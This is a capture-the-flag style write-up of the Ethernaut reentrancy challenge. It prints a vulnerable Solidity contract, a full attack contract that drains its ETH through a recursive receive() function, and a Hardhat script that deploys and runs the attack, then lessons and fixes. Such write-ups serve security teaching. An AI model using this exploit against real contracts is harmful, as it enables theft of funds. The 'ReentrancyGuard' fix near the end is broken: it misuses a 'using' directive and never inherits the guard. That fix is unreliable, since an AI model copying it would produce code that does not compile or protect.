March 15, 2024

Reentrancy Challenge - Ethernaut Level 10

8 min readDifficulty: Medium

Challenge Description

ReentrancySoliditySecurityLevel 10

Challenge Goal

Drain all the ETH from the Reentrance contract by exploiting the reentrancy vulnerability in the withdraw function. This requires understanding how external calls can be exploited to create recursive function calls that drain funds before state updates occur.

The Vulnerable Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[msg.sender];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

The Vulnerability

The vulnerability in this contract is a classic reentrancy attack. The issue is in the withdraw function:

  1. Wrong Order of Operations: The contract sends ETH to the caller before updating the balance.
  2. External Call Vulnerability: It uses call to send ETH, which allows the recipient to execute code before the function completes.

This creates a reentrancy vulnerability where an attacker can:

  1. Call withdraw to get some ETH
  2. Before the balance is updated, the attacker's contract can call withdraw again
  3. Since the balance hasn't been updated yet, the check balances[msg.sender] >= _amount still passes
  4. This can be repeated until all ETH is drained from the contract

The Attack Contract

Here's the attack contract that exploits this vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
    function balanceOf(address _who) external view returns (uint256 balance);
}

contract ReentranceAttack {
    IReentrance private victim;
    uint256 private initialDeposit;
    address private owner;
    bool private attacking;
    
    constructor(address payable _victimAddress) public {
        victim = IReentrance(_victimAddress);
        owner = msg.sender;
    }
    
    // Function to start the attack
    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        require(!attacking, "Attack in progress");
        
        initialDeposit = msg.value;
        attacking = true;
        
        // First, donate to ourselves to establish a balance
        victim.donate{value: initialDeposit}(address(this));
        
        // Get our balance in the victim contract
        uint256 ourBalance = victim.balanceOf(address(this));
        require(ourBalance > 0, "Donation failed");
        
        // Start the attack by withdrawing our balance
        victim.withdraw(ourBalance);
        
        // If we get here, the attack might have failed
        attacking = false;
    }
    
    // Fallback function that gets called when receiving ETH
    receive() external payable {
        if (attacking) {
            uint256 victimBalance = address(victim).balance;
            if (victimBalance > 0) {
                uint256 toWithdraw = victimBalance < initialDeposit ? victimBalance : initialDeposit;
                if (toWithdraw > 0) {
                    victim.withdraw(toWithdraw);
                }
            } else {
                attacking = false;
            }
        }
    }
    
    // Allow the owner to withdraw all funds from this contract
    function withdrawFunds() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
    
    // Check the status of the attack
    function getAttackStatus() external view returns (bool) {
        return attacking;
    }
    
    // Get the balance of this contract
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
    
    // Get our balance in the victim contract
    function getVictimBalance() external view returns (uint256) {
        return victim.balanceOf(address(this));
    }
}

How the Attack Works

Attack Flow:

  1. Setup: Deploy the attack contract with the victim's address
  2. Donate: Call attack() with some ETH to establish a balance in the victim contract
  3. Initial Withdraw: Call withdraw() on the victim contract
  4. Reentrancy: When the victim sends ETH to our contract, our receive() function is triggered
  5. Recursive Attack: The receive() function calls withdraw() again before the victim's balance is updated
  6. Drain: This loop continues until all ETH is drained from the victim contract

Key Attack Code:

// The critical part - our receive() function
receive() external payable {
    if (attacking) {
        uint256 victimBalance = address(victim).balance;
        if (victimBalance > 0) {
            uint256 toWithdraw = victimBalance < initialDeposit ? victimBalance : initialDeposit;
            if (toWithdraw > 0) {
                victim.withdraw(toWithdraw);  // Recursive call!
            }
        } else {
            attacking = false;
        }
    }
}

Deployment and Execution Script

Here's the script to deploy and execute the attack:

const { ethers } = require("hardhat");

async function main() {
  // Get the Reentrance contract instance
  const reentranceAddress = process.env.REENTRANCE_ADDRESS;
  
  console.log(`Targeting Reentrance contract at: ${reentranceAddress}`);
  
  // Get the signer
  const [attacker] = await ethers.getSigners();
  console.log(`Attacker address: ${attacker.address}`);
  
  // Create a contract instance for the Reentrance contract
  const Reentrance = await ethers.getContractFactory("contracts/Reentrance.sol:Reentrance");
  const reentranceContract = await Reentrance.attach(reentranceAddress);
  
  // Check victim contract balance before attack
  const victimBalance = await ethers.provider.getBalance(reentranceAddress);
  console.log(`Victim contract balance before attack: ${ethers.utils.formatEther(victimBalance)} ETH`);
  
  // Deploy the attack contract
  console.log("Deploying ReentranceAttack contract...");
  const ReentranceAttack = await ethers.getContractFactory("ReentranceAttack");
  const attackContract = await ReentranceAttack.deploy(reentranceAddress);
  await attackContract.deployed();
  
  console.log(`ReentranceAttack deployed to: ${attackContract.address}`);
  
  // Execute the attack with some initial ETH
  const attackAmount = ethers.utils.parseEther("0.001");
  console.log(`Executing attack with ${ethers.utils.formatEther(attackAmount)} ETH...`);
  
  // Execute the attack
  const attackTx = await attackContract.attack({ value: attackAmount });
  await attackTx.wait();
  
  // Check victim contract balance after attack
  const victimBalanceAfter = await ethers.provider.getBalance(reentranceAddress);
  console.log(`Victim contract balance after attack: ${ethers.utils.formatEther(victimBalanceAfter)} ETH`);
  
  // Withdraw funds from attack contract
  console.log("Withdrawing funds from attack contract...");
  const withdrawTx = await attackContract.withdrawFunds();
  await withdrawTx.wait();
  
  console.log("Attack completed!");
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Security Lessons

  • Checks-Effects-Interactions Pattern: Always follow this pattern:
    • Checks: Validate all conditions first
    • Effects: Update all state variables
    • Interactions: Make external calls last
  • ReentrancyGuard: Use OpenZeppelin's ReentrancyGuard modifier for functions that make external calls
  • External Call Dangers: Be extremely careful when using call to send ETH, as it allows the recipient to execute code
  • State Updates: Always update state variables before making external calls
  • Gas Limits: While transfer and send have gas limits that can prevent complex reentrancy attacks, they're no longer recommended due to gas cost changes

Prevention

Here's how you could fix the vulnerable contract:

// Fixed version using Checks-Effects-Interactions pattern
function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    
    // EFFECTS: Update state first
    balances[msg.sender] -= _amount;
    
    // INTERACTIONS: Make external call last
    (bool result,) = msg.sender.call{value: _amount}("");
    require(result, "Transfer failed");
}

// Alternative: Using ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract Reentrance {
    using SafeMath for uint256;
    using ReentrancyGuard for ReentrancyGuard;

    mapping(address => uint256) public balances;

    function withdraw(uint256 _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        
        balances[msg.sender] -= _amount;
        
        (bool result,) = msg.sender.call{value: _amount}("");
        require(result, "Transfer failed");
    }
}

Historical Context

The reentrancy vulnerability is one of the most famous smart contract vulnerabilities, famously exploited in the DAO hack of 2016, which resulted in the theft of approximately 3.6 million ETH (worth about $50 million at the time). This incident led to the Ethereum hard fork that created Ethereum Classic.

Conclusion

The Reentrancy challenge demonstrates one of the most critical vulnerabilities in smart contract development. Understanding how to prevent reentrancy attacks is essential for any smart contract developer. The key takeaway is to always follow the Checks-Effects-Interactions pattern and to be extremely careful when making external calls that can trigger code execution in other contracts.

This vulnerability shows why smart contract security is so important and why thorough testing and code reviews are essential before deploying contracts to mainnet.

Your Notes